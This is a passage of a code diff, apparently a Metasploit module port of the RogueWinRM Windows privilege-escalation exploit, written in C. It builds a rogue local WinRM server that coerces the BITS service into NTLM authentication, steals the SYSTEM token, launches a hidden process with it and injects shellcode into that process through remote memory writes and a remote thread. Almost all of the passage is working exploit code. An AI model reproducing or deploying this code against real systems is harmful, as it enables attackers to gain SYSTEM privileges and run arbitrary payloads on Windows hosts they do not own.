return ERROR_HEAP_ALLOC_FAILURE;
}
extract_metasploit_data(metasploit_raw_data, &winrm_port_address, processname, &shellcode, &shellcode_length);
// Get a token for this process and check if current security context is vulnerable.
if ( !OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken) )
{
dprintf("[RunRogueWinRM] ERROR: failed to get a token for the current process.");
return ERROR_FAILED_TO_GET_TOKEN;
}
//enable privileges
processMethod = determineProcessLaunchingMethod(hToken);
if (processMethod == UNAUTHORIZED)
{
dprintf("[RunRogueWinRM] ERROR: current process has neither SE_IMPERSONATE_NAME nor SE_ASSIGNPRIMARYTOKEN_NAME privileges. Unexploitable.");
return ERROR_NOT_ENOUGH_PRIVILEGES;
}
negotiator->construct = &Init;
negotiator->construct(negotiator);
threads_params.negotiator = negotiator;
threads_params.winrm_port = winrm_port_address;
hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)handleListener, &threads_params, 0, NULL);
Sleep(1000);
do
{
bitsRunning = isBitsRunning();
if (bitsRunning)
Sleep(30000);
} while (bitsRunning);
triggerBitsStatus = triggerBits();
if (!triggerBitsStatus)
{
dprintf("[RunRogueWinRM] ERROR: cannot activate BITS object. Exiting...");
return ERROR_BITS_NOT_TRIGGERED;
}
if (negotiator->authResult != -1)
{
dprintf("[RunRogueWinRM] authresult %d", negotiator->authResult);
QuerySecurityContextToken(negotiator->phContext, &elevated_token);
error_code = IsTokenSystem(elevated_token);
if (error_code != 0)
{
return error_code;
}
negotiator->destruct(negotiator);
negotiator = NULL;
error_code = DuplicateTokenEx
(
elevated_token,
TOKEN_ALL_ACCESS,
NULL,
SecurityImpersonation,
TokenPrimary,
&duped_token
);
if (error_code == 0)
{
dprintf("[RunRogueWinRM] ERROR: failed to duplicate token: error code 0x%lx", GetLastError());
return ERROR_TOKEN_DUPLICATION_FAILURE;
}
ZeroMemory(&si, sizeof(STARTUPINFOW));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
si.cb = sizeof(STARTUPINFOW);
si.lpDesktop = (LPWSTR)L"winsta0\\default";
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
if (processMethod == WITH_TOKEN)
{
// https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw
dprintf("[RunRogueWinRM] Launching new process through CreateProcessWithTokenW().");
result = CreateProcessWithTokenW
(
duped_token,
0,
processname,
NULL,
0,
NULL,
NULL,
&si,
&pi
);
if (!result)
{
dprintf("[RunRogueWinRM] ERROR: CreateProcessWithTokenW failed to create proc with return code: %d", GetLastError());
return ERROR_UNKNOWN;
}
}
else if (processMethod == AS_USER)
{
dprintf("[RunRogueWinRM] Launching process with CreateProcessAsUserW().");
result = CreateProcessAsUserW
(
duped_token,
processname,
NULL,
NULL,
NULL,
FALSE,
0,
NULL,
L"C:\\",
&si,
&pi
);
if (!result)
{
dprintf("[RunRogueWinRM] ERROR: CreateProcessAsUser failed to create proc with return code: %d", GetLastError());
return ERROR_UNKNOWN;
}
}
dprintf("[RunRogueWinRM] SUCCESS: target process launched as SYSTEM.");
error_code = trigger_drunkpotato(shellcode, shellcode_length, pi);
return error_code;
}
else { dprintf("[RunRogueWinRM] ERROR: no authentication received... negotiator->authResult != -1"); }
CloseHandle(hThread);
return ERROR_NO_BITS_AUTH;
}
/**
This function takes in input the raw data sent by metasploit and extract the shellcode
in one hand, and the WinRM port in the other hand. Indeed, WinRM usually listen on port
5985, but in some cases, it can listen on port 47001:
https://docs.microsoft.com/en-us/windows/win32/winrm/obtaining-data-from-the-local-computer
By convention, metasploit data is formatted as this:
port\x00process_name\x00shellcode_len\x00shellcode
Thus, nulls byte are prohibited.
@param char* metasploit_bulk_data The raw data sent by metasploit, formatted as this: port\x00process_name\x00shellcode_len\x00shellcode
@param char** winrm_port_address The WinRM port address. Should be either 5985 or 47001
@param wchar_t** process_name_as_wchar The name of the process to launch as SYSTEM. For instance notepad.exe
@param char** shellcode The (local) shellcode address
@param unsigned int* shellcode_length The (local) shellcode lenght
@return void
*/
static void extract_metasploit_data(char* metasploit_bulk_data, char** winrm_port_address, wchar_t* process_name_as_wchar, char** shellcode, unsigned int* shellcode_length)
{
char* shellcode_length_str = NULL;
char* process_name_as_char = NULL;
size_t converted_chars = 0;
*winrm_port_address = metasploit_bulk_data;
process_name_as_char = metasploit_bulk_data + strlen(metasploit_bulk_data) + 1; // +1 is for passing the intermediary null byte.
shellcode_length_str = process_name_as_char + strlen(process_name_as_char) + 1;
*shellcode = shellcode_length_str + strlen(shellcode_length_str) + 1;
*shellcode_length = atoi(shellcode_length_str);
mbstowcs_s(
&converted_chars,
process_name_as_wchar,
WINDOWS_PATH_LENGTH_LIMITATION,
process_name_as_char,
_TRUNCATE
);
dprintf("[extract_metasploit_data] WinRM port: %s", *winrm_port_address);
dprintf("[extract_metasploit_data] Process to launch: %s", process_name_as_char);
dprintf("[extract_metasploit_data] shellcode length: %d", *shellcode_length);
return;
}
/**
This function take as parameter the shellcode address in current process and
a handle to a previously created SYSTEM process. This function does 3 things:
- allocate executable memory space in remote process (in which the shellcode will be written)
- copy the shellcode inside it
- trigger its execution
@param char* shellcode The (local) shellcode address
@param PROCESS_INFORMATION pi A handle to SYSTEM remote process
@return int The error code. SUCCESS_PWNED if succeed.
*/
static int trigger_drunkpotato(char* shellcode, unsigned int shellcode_len, PROCESS_INFORMATION pi)
{
LPVOID shellcode_remote_address = NULL;
SIZE_T lpnumber = 0;
dprintf("[RunRogueWinRM] Attempting to allocate executable memory space in spawned process...");
shellcode_remote_address = (int*)VirtualAllocEx(pi.hProcess, NULL, shellcode_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!shellcode_remote_address)
{
dprintf("[RunRogueWinRM] ERROR: failed to allocate memory in remote process.");
TerminateProcess(pi.hProcess, 0);
WaitForSingleObject(pi.hProcess, 1000);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return ERROR_VIRTUAL_ALLOC_FAILURE;
}
dprintf("[RunRogueWinRM] SUCCESS: executable memory space successfully allocated.");
dprintf("[RunRogueWinRM] Attempting to write shellcode in spawned process...");
if (!WriteProcessMemory(pi.hProcess, shellcode_remote_address, shellcode, shellcode_len, &lpnumber))
{
dprintf("[RunRogueWinRM] ERROR: failed to write shellcode into remote process.");
TerminateProcess(pi.hProcess, 0);
WaitForSingleObject(pi.hProcess, 1000);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return ERROR_SHELLCODE_REMOTE_COPY_FAILURE;
}
dprintf("[RunRogueWinRM] SUCCESS: shellcode written into SYSTEM process.");
dprintf("[RunRogueWinRM] Attempting to trigger shellcode from spawned process...");
if (!CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)shellcode_remote_address, NULL, 0, 0))
{
dprintf("[RunRogueWinRM] ERROR: failed to trigger shellcode from remote process.");
TerminateProcess(pi.hProcess, 0);
WaitForSingleObject(pi.hProcess, 1000);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return ERROR_SHELLCODE_TRIGGER_FAILURE;
}
dprintf("[RunRogueWinRM] PWNED ! executing shellcode as SYSTEM.");
return SUCCESS_PWNED;
}
/**
This function checks the privileges of the token passed as argument in order to determine
if the host process will be launched with CreateProcessWithTokenW (requires SE_IMPERSONATE_NAME priv)
or with CreateProcessAsUserW (requires SE_ASSIGNPRIMARYTOKEN_NAME priv).
@param HANDLE hToken A handle to a token (Trivial)
@return createProcessMethod An enumeration (WITH_TOKEN, AS_USER, UNAUTHORIZED)
*/
static createProcessMethod determineProcessLaunchingMethod(HANDLE hToken)
{
dprintf("[createProcessMethod] Attempting to enable SE_IMPERSONATE_NAME privilege...");
if (EnablePriv(hToken, SE_IMPERSONATE_NAME)) { return WITH_TOKEN; }
dprintf("[createProcessMethod] Attempting to enable SE_ASSIGNPRIMARYTOKEN_NAME privilege...");
if (EnablePriv(hToken, SE_ASSIGNPRIMARYTOKEN_NAME)) { return AS_USER; }
dprintf("[createProcessMethod] ERROR: current user has neither SE_IMPERSONATE_NAME nor SE_ASSIGNPRIMARYTOKEN_NAME privilege. Not vulnerable.");
return UNAUTHORIZED;
}
/**
Get the token (argument) and try to enable the specified privilege (argument) for that token.
@param HANDLE hToken A handle to a token
@param LPCTSTR priv A pointer to a string containing the specified privilege
(for instance SE_IMPERSONATE_NAME)
@return BOOL TRUE if the privilege has been enabled, else FALSE
*/
static BOOL EnablePriv(HANDLE hToken, LPCTSTR priv)
{
LUID luid;
TOKEN_PRIVILEGES tp;
if (!LookupPrivilegeValue(NULL, priv, &luid))
{
dprintf("[EnablePriv] ERROR: Priv Lookup FALSE");
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
dprintf("[EnablePriv] ERROR: Priv Adjust FALSE");
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
dprintf("[EnablePriv] ERROR: The token does not have the specified privilege. This mean that current user doesn't have sufficient privileges for exploitation.");
return FALSE;
}
dprintf("[EnablePriv] SUCCESS: Privilege enabled.");
return TRUE;
}
/**
Check if the specified token is a SYSTEM token.
Source of this function:
https://stackoverflow.com/questions/47252634/failed-to-check-against-nt-authority-system-sid
@param HANDLE tok A handle to a token
@return int An error code. 0 for success (i.e. if tok belongs to SYSTEM)
*/
static int IsTokenSystem(HANDLE tok)
{
int error_code = ERROR_OTHER;
TOKEN_USER* token_user_address = NULL;
DWORD dwOut = 0;
PSID sid_address = NULL;
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
dprintf("[IsTokenSystem] Checking if token is SYSTEM...");
GetTokenInformation(tok, TokenUser, 0, 0, &dwOut);
error_code = HRESULT_FROM_WIN32(GetLastError());
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
token_user_address = (TOKEN_USER*)calloc(dwOut, sizeof(TOKEN_USER)), error_code = E_OUTOFMEMORY;
if (!token_user_address) { return ERROR_HEAP_ALLOC_FAILURE; }
if (GetTokenInformation(tok, TokenUser, token_user_address, dwOut, &dwOut))
{
if (AllocateAndInitializeSid(&NtAuthority, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &sid_address))
{
error_code = EqualSid(sid_address, token_user_address->User.Sid) ? S_OK : ERROR_TOKEN_IS_NOT_SYSTEM;
FreeSid(sid_address);
}
else
error_code = HRESULT_FROM_WIN32(GetLastError());
}
else
error_code = HRESULT_FROM_WIN32(GetLastError());
free(token_user_address);
token_user_address = NULL;
if (error_code == S_OK) { dprintf("[IsTokenSystem] SUCCESS: Token is SYSTEM."); }
else { dprintf("[IsTokenSystem] ERROR: Token is not SYSTEM. Error code = %d", error_code); }
return error_code;
}
/**
Checks if BITS is running through OpenSCManager. This is a prerequisite as
the vulnerable behavior occurs at BITS start time. So it is mandatory to
check if BITS is stopped in order to start it.
@return BOOL FALSE if BITS is not running or if an error occurs.
*/
static BOOL isBitsRunning()
{
SERVICE_STATUS ServiceStatus;
SC_HANDLE hService = NULL;
SC_HANDLE hSCManager = NULL;
BOOL result = FALSE;
int status = -1;
dprintf("[isBitsRunning] Checking if BITS is running (It should not)...");
hSCManager = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT | SERVICE_QUERY_STATUS);
if (hSCManager == NULL)
{
dprintf("[isBitsRunning] SCM ERROR: Skipping BITS check... OpenSCManagerA error: %d", GetLastError());
return FALSE;
}
hService = OpenServiceA(hSCManager, (LPCSTR)"BITS", SERVICE_QUERY_STATUS);
if (hService == NULL)
{
dprintf("[isBitsRunning] SCM ERROR: Skipping BITS check... OpenServiceA error: %d", GetLastError());
return FALSE;
}
status = QueryServiceStatus(hService, &ServiceStatus);
if (status == 0)
{
dprintf("[isBitsRunning] SCM ERROR: Skipping BITS check... QueryServiceStatus error: %d", GetLastError());
return FALSE;
}
if (ServiceStatus.dwCurrentState == SERVICE_RUNNING)
{
result = TRUE;
dprintf("[isBitsRunning] BITS is running... Waiting 30 seconds for Timeout (usually 120 seconds for timeout)...");
}
else
result = FALSE;
dprintf("[isBitsRunning] SUCCESS: BITS is not running.");
return result;
}
/**
Start BITS service, and thus trigger the vulnerable behavior.
See https://www.codeproject.com/Articles/13601/COM-in-plain-C
for understanding how to understand how COM objects are implemented in pure C
@return BOOL TRUE if BITS was successfully started. FALSE is an error occurs.
*/
static BOOL triggerBits(void)
{
const wchar_t bits_GUID[] = L"{4991d34b-80a1-4291-83b6-3328366b9097}";
const IID* IID_IUnknown_address = &IID_IUnknown;
BOOL status = FALSE;
HRESULT result = E_FAIL;
IUnknown* unknown1 = NULL;
CLSID clsid;
dprintf("[triggerBits] Attempting to start BITS...");
result = CoInitialize(NULL);
result = CLSIDFromString(bits_GUID, &clsid);
result = CoCreateInstance(&clsid, NULL, CLSCTX_LOCAL_SERVER, IID_IUnknown_address, (void**)&unknown1);
if (result == S_OK)
{
status = TRUE;
unknown1->lpVtbl->Release(unknown1);
}
else
{
dprintf("[triggerBits] ERROR: CoCreateInstance failed with error 0x%x\n", result);
status = FALSE;
}
CoUninitialize();
dprintf("[triggerBits] SUCCESS: BITS triggered!");
return status;
}

View File

@ -0,0 +1,30 @@
#pragma once
#include <wchar.h>
#include <assert.h>
struct _THREAD_PARAMETERS;
typedef struct _THREAD_PARAMETERS
{
char* winrm_port;
LocalNegotiator* negotiator;
} THREAD_PARAMETERS;
enum _createProcessMethod;
typedef enum _createProcessMethod
{
WITH_TOKEN,
AS_USER,
UNAUTHORIZED
} createProcessMethod;
int RunRogueWinRM(char* shellcode);
static int trigger_drunkpotato(char* shellcode, unsigned int shellcode_len, PROCESS_INFORMATION pi);
static createProcessMethod determineProcessLaunchingMethod(HANDLE hToken);
static BOOL EnablePriv(HANDLE hToken, LPCTSTR priv);
static int IsTokenSystem(HANDLE tok);
static BOOL isBitsRunning(void);
static BOOL triggerBits(void);
static void extract_metasploit_data(char* metasploit_bulk_data, char** winrm_port_address, wchar_t* process_name, char** shellcode, unsigned int* shellcode_length);

View File

@ -0,0 +1,373 @@
/**
This module is a plain C class emulation. The POC written by decoder was in cpp and used some classes
in particular for the local negotiator.
See https://stackoverflow.com/questions/40992945/convert-a-cpp-class-cpp-file-into-a-c-structure-c-file
for how I emulated a class in pure C.
This class defines the rogue WinRM server and inherits from service.c (methods and arguments).
This class is in charge of handling BITS connection attempt by sending it a 401 NTLM authentication
challenge response. When BITS authenticates to our rogue WinRM service, this service creates a
security context in the local negotiator object (see localNegotiator.c) which will be used to
steal a SYSTEM token.
*/
#include "..\pch.h"
#define DEFAULT_BUFLEN 4096
/**
Constructor of the elevatorServer class. Setup the addresses of class methods,
initialize some arguments, and call the constructor of base server (service.c)
@param elevatorServer* this Address of the instantiated object.
@param char* listen_address Address of IP (as string)
@param char* listen_port Address of port (as string)
@param BOOL debug TRUE or FALSE. Defined in main/dllmain
*/
void initElevatorService(elevatorServer* this, char* listen_address, char* listen_port)
{
ZeroMemory(this, sizeof(elevatorServer));
this->destruct = &destructElevatorService;
this->socketError = &elevatorSocketError;
this->handleNTLMPConnection = &handleNTLMPConnection;
this->computeNtlmsspRequest = &compute_ntlmssp_request;
this->forgeNtlmsspChallengeResponses = &forge_ntlmssp_challenge_responses;
this->generateNegTokenTarg = &genNegTokenTarg;
// Instantiation of base server
this->baseServer.construct = &initService;
this->baseServer.construct(&this->baseServer, listen_address, listen_port);
return;
}
/**
free allocated memory and call the destructor of base server (service.c)
@param elevatorServer* this Address of the instantiated object.
*/
void destructElevatorService(elevatorServer* this)
{
this->baseServer.destruct(&this->baseServer);
return;
}
/**
Main entry point called by RunRogueWinRM. This function create a rogue WinRM
object by allocating memory for handle it, setting its constructor and calling it.
Then, makes it listening for incoming connections.
@param LPVOID threadParameters Main parameters used by the rogue WinRM server.
contains a blank local negotiator object (localNegotiator.c)
and debug boolean used to print network packets.
*/
void handleListener(LPVOID threadParameters)
{
elevatorServer Server;
THREAD_PARAMETERS* thread_params;
thread_params = (THREAD_PARAMETERS*)threadParameters;
LocalNegotiator* negotiator = thread_params->negotiator;
Server.construct = &initElevatorService;
Server.construct(&Server, "127.0.0.1", thread_params->winrm_port);
dprintf("[handleListener] Rogue WinRM service now listening for connection on port %s.", thread_params->winrm_port);
handleNTLMPConnection(&Server, negotiator);
Server.destruct(&Server);
return;
}
/**
Handle the NTLM connection when BITS server shoots our rogue WinRM service:
- Receive the first NTLMP negotiate packet (NTLMP 1) from BITS
- Calls a security context through HandleType1 method of localNegotiator object (localNegotiator.c)
- sends a 401 challenge authentication response to force BITS client to authenticate (NTLMP 2)
- Receive the authentication packet from BITS (NTLMP 3)
- Calls a security context through HandleType3 method of localNegotiator object (localNegotiator.c)
- Shutdown the server and return, which terminate the thread where it was launched.
@param elevatorServer* this Address of the instantiated object
@param LocalNegotiator* negotiator Address of the localNegotiator object (localNegotiator.c)
*/
static void handleNTLMPConnection(elevatorServer* this, LocalNegotiator* negotiator)
{
int recvbuflen = DEFAULT_BUFLEN;
char recvbuf[DEFAULT_BUFLEN] = { 0 };
int iResult = -1;
int http_response_type2_packet_len = 0;
char* http_response_type2_packet = NULL;
char* ntlmssp_type2 = NULL;
unsigned char* ntlmssp_authorization = NULL;
unsigned char* spnego_NegTokenTarg_response = NULL;
unsigned char* ntlmssp_request = NULL;
unsigned short spnego_NegTokenTarg_response_len = 0;
unsigned short ntlmssp_type2_len = 0;
unsigned short ntlmssp_request_len = 0;
unsigned short ntlmssp_authorization_len = 0;
unsigned short base64_ntlmssp_authorization_len = 0;
byte base64_ntlmssp_authorization[4192] = { 0 };
BOOL spnegoResult = FALSE;
iResult = recv(this->baseServer.socket, recvbuf, recvbuflen, 0);
if (iResult <= 0) { this->socketError(this, "[handleNTLMPConnection] ERROR: error while receiving data"); }
dprintf("[handleNTLMPConnection] Received http negotiate request.");
hexDump_if_debug_env(NULL, recvbuf, iResult);
compute_ntlmssp_request(this, recvbuf, iResult, &ntlmssp_request, &ntlmssp_request_len);
//calling AcceptSecurityContext() on the challenge request
negotiator->processNtlmBytes(negotiator, (char*)ntlmssp_request, ntlmssp_request_len);
ntlmssp_type2 = negotiator->returnType2(negotiator, &ntlmssp_type2_len);
http_response_type2_packet = forge_ntlmssp_challenge_responses(this, (unsigned char*)ntlmssp_type2, ntlmssp_type2_len, &http_response_type2_packet_len);
dprintf("[handleNTLMPConnection] Sending the 401 http response with ntlm type 2 challenge...");
iResult = send(this->baseServer.socket, http_response_type2_packet, http_response_type2_packet_len - 2, 0);
free(http_response_type2_packet);
http_response_type2_packet = NULL;
if (iResult <= 0) this->socketError(this, "[handleNTLMPConnection] ERROR: error while sending data.");
dprintf("[handleNTLMPConnection] 401 http response sent.");
iResult = recv(this->baseServer.socket, recvbuf, 4096, 0);
if (iResult <= 0) this->socketError(this, "[handleNTLMPConnection] ERROR: error while receiving data.");
dprintf("[handleNTLMPConnection] SUCCESS: Received http packet with ntlm type3 response.");
hexDump_if_debug_env(NULL, recvbuf, iResult);
dprintf("[handleNTLMPConnection] Using ntlm type3 response in AcceptSecurityContext()...");
findBase64Negotiate(recvbuf, iResult, base64_ntlmssp_authorization, &base64_ntlmssp_authorization_len);
spnego_NegTokenTarg_response = base64_decode((const char*)base64_ntlmssp_authorization, base64_ntlmssp_authorization_len, &spnego_NegTokenTarg_response_len);
if (!spnego_NegTokenTarg_response) { this->socketError(this, "[handleNTLMPConnection] Error while b64 decoding ntlm type3 challenge response token."); }
spnegoResult = parseNegToken(spnego_NegTokenTarg_response, spnego_NegTokenTarg_response_len, &ntlmssp_authorization, &ntlmssp_authorization_len);
negotiator->processNtlmBytes(negotiator, (char*)ntlmssp_authorization, ntlmssp_authorization_len);
dprintf("[handleNTLMPConnection] Shutting down RogueWinRM service properly...");
free(spnego_NegTokenTarg_response);
spnego_NegTokenTarg_response = NULL;
shutdown(this->baseServer.socket, SD_SEND);
WSACleanup();
dprintf("[handleNTLMPConnection] RogueWinRM service is now down.");
return;
}
/**
Generate a challenge response http packet in order to force BITS client to authenticate
to our rogue WinRM server.
@param elevatorServer* this Address of the instantiated object
@param unsigned char* ntlmssp_type2 contains "NTLMSSP"
@param unsigned short ntlmssp_type2_len
@param int* http_response_type2_packet_len address which will receive the length of challenge response packet to be sent
*/
static char* forge_ntlmssp_challenge_responses(elevatorServer* this, unsigned char* ntlmssp_type2, unsigned short ntlmssp_type2_len, int* http_response_type2_packet_len)
{
const char http_response_type2_head[] = "HTTP/1.1 401 \r\nWWW-Authenticate: Negotiate ";
const char http_response_type2_tail[] = "\r\nServer: Microsoft-HTTPAPI/2.0\r\nContent-Length: 0\r\n\r\n";
char* http_response_type2_packet = NULL;
char* ntlmssp_type2_full = NULL;
unsigned short ntlmssp_type2_full_len = 0;
char* ntlmssp_type2_b64 = NULL;
unsigned short ntlmssp_type2_b64_len = 0;
BOOL spnegoResult = FALSE;
//forging ntlmssp challenge responses
dprintf("[forge_ntlmssp_challenge_responses] Forging http response type2 packet...");
spnegoResult = this->generateNegTokenTarg(this, (unsigned char*)ntlmssp_type2, ntlmssp_type2_len, (unsigned char**)&ntlmssp_type2_full, &ntlmssp_type2_full_len);
if (!spnegoResult) { this->socketError(this, "[forge_ntlmssp_challenge_responses] ERROR: Error while generating challenge response token"); }
//encoding ntlmssp challenge response
ntlmssp_type2_b64 = base64_encode((const unsigned char*)ntlmssp_type2_full, ntlmssp_type2_full_len, &ntlmssp_type2_b64_len);
if (!ntlmssp_type2_b64) { this->socketError(this, "[forge_ntlmssp_challenge_responses] ERROR: Error while b64 encoding challenge response token"); }
//forging http response packet 401 with type 2 ntlm chellenge response
*http_response_type2_packet_len = sizeof(http_response_type2_head) + ntlmssp_type2_b64_len + sizeof(http_response_type2_tail);
http_response_type2_packet = (char*)calloc(*http_response_type2_packet_len, sizeof(char));
if (!http_response_type2_packet) { this->socketError(this, "[forge_ntlmssp_challenge_responses] ERROR: Failed to allocate memory for http_response_type2_packet"); }
memcpy(http_response_type2_packet, http_response_type2_head, sizeof(http_response_type2_head));
memcpy((http_response_type2_packet + sizeof(http_response_type2_head) - 1), ntlmssp_type2_b64, ntlmssp_type2_b64_len);
memcpy((http_response_type2_packet + sizeof(http_response_type2_head) + ntlmssp_type2_b64_len - 1), http_response_type2_tail, sizeof(http_response_type2_tail));
free(ntlmssp_type2_b64);
ntlmssp_type2_b64 = NULL;
free(ntlmssp_type2_full);
ntlmssp_type2_full = NULL;
hexDump_if_debug_env(NULL, http_response_type2_packet, *http_response_type2_packet_len);
return http_response_type2_packet;
}
/**
Get Negotiate data from first NTLM1 BITS packet.
to our rogue WinRM server.
@param elevatorServer* this Address of the instantiated object
@param char* recvbuf Address of buffer hosting the received packet
@param int iResult length of previous receiving buffer
@param unsigned char** ntlmssp_request Address which will receive the address of decoded ntlmssp_request
@param unsigned short* ntlmssp_request_len Address which will receive the length of previous ntlmssp_request
*/
static void compute_ntlmssp_request(elevatorServer* this, char* recvbuf, int recvbuf_content_length, unsigned char** ntlmssp_request, unsigned short* ntlmssp_request_len)
{
unsigned short base64spnego_token_len = 0;
unsigned short spnego_NegTokenInit_request_len = 0;
unsigned char* spnego_NegTokenInit_request = NULL;
BOOL spnegoResult = FALSE;
byte base64_spnego_token[4192] = { 0 };
if (recvbuf_content_length + 1 > 4192) { this->socketError(this, "[compute_ntlmssp_request] ERROR: base64_spnego_token buffer overflow."); }
//parsing the base64 of SPNEGO request
if (!findBase64Negotiate(recvbuf, recvbuf_content_length, base64_spnego_token, &base64spnego_token_len))
this->socketError(this, "[compute_ntlmssp_request] ERROR: Negotiate token not found in NTLM1 request.");
//decoding the base64 of SPNEGO NegTokenInit
spnego_NegTokenInit_request = base64_decode((const char*)base64_spnego_token, base64spnego_token_len, &spnego_NegTokenInit_request_len);
if (!spnego_NegTokenInit_request) { this->socketError(this, "[compute_ntlmssp_request] ERROR: error while b64 decoding ntlm type1 challenge response token."); }
//parsing the ntlmssp from the SPNEGO NegTokenInit token
spnegoResult = parseNegToken(spnego_NegTokenInit_request, spnego_NegTokenInit_request_len, ntlmssp_request, ntlmssp_request_len);
if (!spnegoResult) { this->socketError(this, "[compute_ntlmssp_request] Error while SPNEGO NegTokenInit token."); }
return;
}
/**
Find base64 encoded data of NTLM 1 negotiate request from BITS and put it in a receiving buffer.
@param char* buffer Pointer to the buffer hosting the NTLM1 packet data
@param int buffer_len Size of previous buffer argument
@param byte* outbuffer Pointer to a buffer which will host base64 data
@param unsigned short* outbuffer_len Size of previous buffer argument
@return BOOL Was B64 negotiate token found or not.
*/
static BOOL findBase64Negotiate(char* buffer, int buffer_content_len, byte* outbuffer, unsigned short* outbuffer_content_len)
{
const char pattern_head[] = "Negotiate ";
const char pattern_tail[] = "\r\n";
char* index_start = strstr(buffer, pattern_head);
char* index_end = NULL;
if (index_start == NULL)
return FALSE;
index_start += strlen(pattern_head);
index_end = strstr(index_start, pattern_tail);
if (index_end == NULL)
return FALSE;
*outbuffer_content_len = (unsigned short)(index_end - index_start);
memcpy(outbuffer, index_start, *outbuffer_content_len);
outbuffer[*outbuffer_content_len] = 0;
return TRUE;
}
/**
In case of server error, properly stop the server and call the destructor.
@param elevatorServer* this Address of the instantiated object
@param char* error_message Error message to be displayed
*/
void elevatorSocketError(elevatorServer* this, char* error_message)
{
this->baseServer.serverStop(&this->baseServer, this->baseServer.socket, error_message);
}
/**
Don't know what is a "spnego token". Thus, I don't have a f*cking idea of what this function does.
This function and all spnego modules in folder "spnegotokenhanndler" are inherited from decoder
proof of concept at https://github.com/antonioCoco/RogueWinRM
*/
static BOOL parseNegToken(unsigned char* token, int tokenSize, unsigned char** parsedToken, unsigned short* parsedTokenLen)
{
SPNEGO_TOKEN_HANDLE hSpnegoToken = NULL;
int nError = 0L;
unsigned char* pbMechToken = NULL;
if (spnegoInitFromBinary(token, tokenSize, &hSpnegoToken) != SPNEGO_E_SUCCESS)
{
dprintf("[parseNegToken] ERROR: Cannot parse SPNEGO NegTokenInit token.");
return FALSE;
}
nError = spnegoGetMechToken(hSpnegoToken, NULL, parsedTokenLen);
if (SPNEGO_E_BUFFER_TOO_SMALL == nError)
{
// Allocate a properly sized buffer and retry.
pbMechToken = (unsigned char*)malloc(*parsedTokenLen);
if (spnegoGetMechToken(hSpnegoToken, pbMechToken, parsedTokenLen) != SPNEGO_E_SUCCESS)
{
dprintf("[parseNegToken] ERROR: Cannot get MechToken content from SPNEGO NegTokenInit token.");
return FALSE;
}
}
*parsedToken = pbMechToken;
return TRUE;
}
/**
Idem than parseNegToken function. Don't know what is a "spnego token" and don't know what this
function does.
*/
static BOOL genNegTokenTarg(elevatorServer* this, unsigned char* ntlmssp, unsigned short ntlmssp_len, unsigned char** generatedToken, unsigned short* generatedTokenLen)
{
unsigned char* pbRespToken = NULL;
unsigned long ulRespTokenLen = 0L;
int nError = 0L;
SPNEGO_TOKEN_HANDLE hSpnegoResponseToken = NULL;
SPNEGO_MECH_OID spnegoMechOID = spnego_mech_oid_NTLMSSP;
SPNEGO_NEGRESULT spnegoNegResult = spnego_negresult_incomplete;
// Create the Token and then extract the binary.
if (spnegoCreateNegTokenTarg(spnegoMechOID, spnegoNegResult, ntlmssp, ntlmssp_len, NULL, 0L, &hSpnegoResponseToken) != SPNEGO_E_SUCCESS)
{
dprintf("[genNegTokenTarg] ERROR: Cannot create SPNEGO NegTokenTarg token.");
return FALSE;
}
if (spnegoTokenGetBinary(hSpnegoResponseToken, NULL, generatedTokenLen) == SPNEGO_E_BUFFER_TOO_SMALL)
{
// Now allocate and extract the buffer.
*generatedToken = (unsigned char*)calloc(*generatedTokenLen, sizeof(char));
if (!*generatedToken) { this->socketError(this, "[forge_ntlmssp_challenge_responses] ERROR: Failed to allocate memory for http_response_type2_packet"); }
nError = spnegoTokenGetBinary(hSpnegoResponseToken, *generatedToken, generatedTokenLen);
if (SPNEGO_E_SUCCESS == nError)
{
return TRUE;
}
else
{
dprintf("[genNegTokenTarg] ERROR: Cannot convert SPNEGO NegTokenTarg token to binary data.");
free(*generatedToken);
*generatedToken = NULL;
return FALSE;
}
}
dprintf("[genNegTokenTarg] ERROR: Cannot convert SPNEGO NegTokenTarg token to binary data.");
return FALSE;
}

View File

@ -0,0 +1,59 @@
#pragma once
/**
This module is a plain C class emulation. The POC written by decoder was in cpp and used some classes
in particular for the local negotiator.
See https://stackoverflow.com/questions/40992945/convert-a-cpp-class-cpp-file-into-a-c-structure-c-file
for how I emulated a class in pure C.
This class defines the rogue WinRM server and inherits from service.c (methods and arguments).
This class is in charge of handling BITS connection attempt by sending it a 401 NTLM authentication
challenge response. When BITS authenticates to our rogue WinRM service, this service creates a
security context in the local negotiator object (see localNegotiator.c) which will be used to
steal a SYSTEM token.
*/
typedef unsigned char byte;
struct _elevatorServer;
typedef void (*elevatorConstructor) (struct _elevatorServer*, char*, char*);
typedef void (*elevatorDestructor) (struct _elevatorServer*);
typedef void (*ntlmHandle) (struct _elevatorServer*, LocalNegotiator*);
typedef void (*elevSocketStop) (struct _elevatorServer*, char*);
typedef void (*ntlmsspRequest) (struct _elevatorServer*, char*, int, unsigned char**, unsigned short*);
typedef char* (*forgeNtlmssp) (struct _elevatorServer*, unsigned char*, unsigned short, int*);
typedef BOOL (*genNegTokTarg) (struct _elevatorServer*, unsigned char*, unsigned short, unsigned char**, unsigned short*);
typedef struct _elevatorServer
{
// Methods as pointer to functions
elevatorConstructor construct;
elevatorDestructor destruct;
ntlmHandle handleNTLMPConnection;
